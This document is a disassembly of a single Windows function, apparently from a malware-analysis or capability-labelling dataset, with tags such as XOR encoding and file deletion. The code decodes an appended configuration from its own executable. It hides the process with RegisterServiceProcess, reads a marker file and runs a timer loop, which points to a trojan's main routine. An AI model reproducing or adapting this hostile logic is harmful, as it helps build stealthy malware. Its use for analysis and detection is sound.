Function at 0x401850
Capabilities:
Accept command line arguments
Delete file
Encode data using xor
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
and byte [ebp - 1], 0
push ebx
push esi
mov ebx, 0x100
push edi
lea eax, [ebp - 0x1b4]
xor esi, esi
push ebx
push eax
push esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x1b4]
push 0x40324c
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push esi
push eax
mov dword [ebp - 8], eax
call edi
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_ftell]
push eax
mov dword [ebp - 0xc], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0
push 0
push dword [ebp - 8]
mov esi, eax
call edi
push dword [ebp - 8]
mov edi, dword [ebp - 0xc]
push edi
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fread]
lea eax, [edi - 1]
add esp, 0x38
test eax, eax
jl 0x4018ea
mov cl, byte [esi + eax]
lea edi, [esi + eax - 1]
xor byte [edi], cl
mov cl, byte [edi]
add cl, byte [esi + eax]
dec eax
mov byte [edi], cl
jns 0x4018d4
mov edi, dword [ebp - 0xc]
lea eax, [esi + edi - 0x62]
push 0x62
push eax
lea eax, [ebp - 0x78]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
cmp word [ebp - 0x78], 0x3104
je 0x40190d
or eax, 0xffffffff
jmp 0x401d03
mov cl, byte [0x403278]
mov eax, dword [ebp - 0x1c]
xor cl, al
and dword [ebp - 0xc], 0
and ecx, 1
mov edi, dword [ebp - 0x5a]
xor word [0x403278], cx
mov cl, byte [0x403278]
xor cl, al
and ecx, 2
xor word [0x403278], cx
mov cl, byte [0x403278]
xor cl, al
and ecx, 4
xor word [0x403278], cx
mov cl, byte [0x403278]
xor cl, al
and ecx, 8
xor word [0x403278], cx
mov cl, byte [0x403278]
xor cl, al
and ecx, 0x10
xor word [0x403278], cx
mov cl, byte [0x403278]
xor cl, al
and ecx, 0x20
xor word [0x403278], cx
mov cl, byte [0x403278]
xor cl, al
and cx, 0xc0
xor word [0x403278], cx
mov ecx, dword [0x403278]
xor ecx, eax
mov eax, dword [ebp - 0x76]
mov dword [0x40327a], eax
mov eax, dword [ebp - 0x72]
and cx, bx
mov dword [0x40327e], eax
xor word [0x403278], cx
mov eax, dword [ebp - 0x5e]
mov ecx, dword [ebp - 0x1a]
mov dword [0x403286], eax
test eax, eax
mov dword [0x403e7c], ecx
jbe 0x401a13
mov dword [ebp - 8], 0x40328a
lea eax, [edi + esi]
push eax
call sub.MSVCRT.dll_strlen
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
lea ecx, [edi + esi]
push ecx
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [edi + esi]
push eax
call sub.MSVCRT.dll_strlen
add dword [ebp - 8], 4
add esp, 0x14
inc dword [ebp - 0xc]
lea edi, [edi + eax + 1]
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x5e]
jb 0x4019d5
mov eax, dword [ebp - 0x56]
add eax, esi
push eax
lea eax, [ebp - 0x1b4]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
mov edi, 0x40332a
pop ecx
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x403114
push edi
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1b4]
push eax
push edi
call sub.MSVCRT.dll_strcat
mov eax, dword [ebp - 0x52]
add eax, esi
push eax
push 0x40342a
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 0x4e]
add eax, esi
push eax
push 0x40352a
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 0x4a]
add eax, esi
push eax
push 0x40372a
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 0x46]
add eax, esi
push eax
push 0x40362a
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 0x66]
add eax, esi
push eax
push 0x40382c
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 0x62]
add eax, esi
push eax
push 0x40392c
call sub.MSVCRT.dll_strcpy
mov eax, dword [0x403278]
add esp, 0x40
and eax, 0xc0
cmp ax, 0x80
jne 0x401ad6
mov eax, dword [ebp - 0x66]
mov ebx, 0x403a2c
add eax, esi
push eax
push ebx
call sub.MSVCRT.dll_strcpy
pop ecx
xor edi, edi
pop ecx
jmp 0x401b0c
xor edi, edi
push ebx
mov ebx, 0x403a2c
cmp ax, di
push ebx
jne 0x401aec
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
jmp 0x401af2
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x403114
push ebx
call sub.MSVCRT.dll_strcat
mov eax, dword [ebp - 0x66]
add eax, esi
push eax
push ebx
call sub.MSVCRT.dll_strcat
add esp, 0x10
push ebx
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffA]
mov eax, dword [ebp - 0x6e]
add eax, esi
push eax
push 0x403b2c
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 0x6a]
add eax, esi
push eax
push 0x403c2c
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 0x42]
add eax, esi
push eax
push 0x403d2c
call sub.MSVCRT.dll_strcpy
mov ax, word [ebp - 0x3e]
push 0x10
mov word [0x40382a], ax
lea eax, [ebp - 0x3c]
push eax
push 0x403e2c
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x2c]
push 0x10
push eax
push 0x403e5c
call sub.MSVCRT.dll_memcpy
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
call fcn.00401756
call fcn.0040150d
call fcn.00401693
push dword [0x403e7c]
lea eax, [ebp - 0x1b4]
push str.Kill__X
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x40
lea eax, [ebp - 0x1b4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov ebx, eax
pop ecx
cmp ebx, edi
pop ecx
je 0x401bd0
lea eax, [ebp - 0x1b4]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
add ebx, eax
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
cmp esi, edi
je 0x401bfd
push str.RegisterServiceProcess
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
cmp eax, edi
je 0x401bf6
push 1
push edi
call eax
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push 0x403260
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
push 0x10
lea eax, [ebp - 0x88]
push edi
push eax
call sub.MSVCRT.dll_memset
push 0x40324c
push str.c:_recure.sys
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0x14
cmp esi, edi
je 0x401c4a
push esi
push 0x1d
push 1
push str.Sun__03_Jan_2000_10:40:23_GMT
call dword [sym.imp.MSVCRT.dll_fread]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
push edi
push 0x3e8
push edi
push edi
call dword [sym.imp.USER32.dll_SetTimer]
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push edi
push edi
lea eax, [ebp - 0xa4]
push edi
push eax
call esi
test eax, eax
je 0x401cfd
cmp dword [ebp - 0xa0], 0x113
jne 0x401cee
cmp dword [ebp - 0x14], 0x14
jbe 0x401c8e
call fcn.004015a3
mov dword [ebp - 0x14], edi
jmp 0x401c91
inc dword [ebp - 0x14]
cmp dword [ebp - 0x10], 0x14
jbe 0x401cda
cmp byte [ebp - 1], 0
jne 0x401cda
lea eax, [ebp - 0xb4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0xb4]
push eax
call section..text
pop ecx
test eax, eax
pop ecx
jl 0x401cd5
lea eax, [ebp - 1]
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.00401432
pop ecx
pop ecx
mov dword [ebp - 0x10], edi
jmp 0x401cdd
inc dword [ebp - 0x10]
cmp ebx, edi
je 0x401cee
push ebx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
je 0x401cee
xor ebx, ebx
push edi
push edi
lea eax, [ebp - 0xa4]
push edi
push eax
jmp 0x401c68
mov eax, dword [ebp - 0x9c]
pop edi
pop esi
pop ebx
leave
ret 0x10